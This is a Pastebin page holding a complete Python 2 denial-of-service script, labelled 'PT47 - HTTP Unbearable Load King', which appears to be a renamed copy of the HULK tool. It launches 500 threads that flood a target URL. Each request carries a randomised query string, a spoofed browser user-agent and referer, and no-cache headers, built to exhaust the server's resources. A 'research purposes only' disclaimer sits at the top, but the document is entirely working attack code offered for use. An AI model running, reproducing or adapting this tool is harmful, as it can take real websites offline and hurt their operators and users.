Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # ----------------------------------------------------------------------------------------------
- # PT47 - HTTP Unbearable Load King
- #
- # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
- # to their knees by exhausting the resource pool, its is meant for research purposes only
- # and any malicious usage of this tool is prohibited.
- #
- # author : Barry Shteiman , version 1.0
- # ----------------------------------------------------------------------------------------------
- import urllib2
- import sys
- import threading
- import random
- import re
- #global params
- url=''
- host=''
- headers_useragents=[]
- headers_referers=[]
- request_counter=0
- flag=0
- safe=0
- def inc_counter():
- global request_counter
- request_counter+=1
- def set_flag(val):
- global flag
- flag=val
- def set_safe():
- global safe
- safe=1
- # generates a user agent array
- def useragent_list():
- global headers_useragents
- headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
- headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
- headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
- headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
- headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
- headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
- headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
- headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
- headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
- headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
- headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
- headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
- return(headers_useragents)
- # generates a referer array
- def referer_list():
- global headers_referers
- headers_referers.append('http://www.google.com/?q=')
- headers_referers.append('http://www.usatoday.com/search/results?q=')
- headers_referers.append('http://engadget.search.aol.com/search?q=')
- headers_referers.append('http://' + host + '/')
- return(headers_referers)
- #builds random ascii string
- def buildblock(size):
- out_str = ''
- for i in range(0, size):
- a = random.randint(65, 90)
- out_str += chr(a)
- return(out_str)
- def usage():
- print '---------------------------------------------------'
- print 'USAGE: python PT47.py <url>'
- print 'you can add "safe" after url, to autoshut after dos'
- print '---------------------------------------------------'
- #http request
- def httpcall(url):
- useragent_list()
- referer_list()
- code=0
- if url.count("?")>0:
- param_joiner="&"
- else:
- param_joiner="?"
- request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
- request.add_header('User-Agent', random.choice(headers_useragents))
- request.add_header('Cache-Control', 'no-cache')
- request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
- request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
- request.add_header('Keep-Alive', random.randint(110,120))
- request.add_header('Connection', 'keep-alive')
- request.add_header('Host',host)
- try:
- urllib2.urlopen(request)
- except urllib2.HTTPError, e:
- #print e.code
- set_flag(1)
- print 'Response Code 500'
- code=500
- except urllib2.URLError, e:
- #print e.reason
- sys.exit()
- else:
- inc_counter()
- urllib2.urlopen(request)
- return(code)
- #http caller thread
- class HTTPThread(threading.Thread):
- def run(self):
- try:
- while flag<2:
- code=httpcall(url)
- if (code==500) & (safe==1):
- set_flag(2)
- except Exception, ex:
- pass
- # monitors http threads and counts requests
- class MonitorThread(threading.Thread):
- def run(self):
- previous=request_counter
- while flag==0:
- if (previous+100<request_counter) & (previous<>request_counter):
- print "%d Requests Sent" % (request_counter)
- previous=request_counter
- if flag==2:
- print "\n-- PT47 Attack Finished --"
- #execute
- if len(sys.argv) < 2:
- usage()
- sys.exit()
- else:
- if sys.argv[1]=="help":
- usage()
- sys.exit()
- else:
- print "-- PT47 Attack Started --"
- if len(sys.argv)== 3:
- if sys.argv[2]=="safe":
- set_safe()
- url = sys.argv[1]
- if url.count("/")==2:
- url = url + "/"
- m = re.search('http\://([^/]*)/?.*', url)
- host = m.group(1)
- for i in range(500):
- t = HTTPThread()
- t.start()
- t = MonitorThread()
- t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement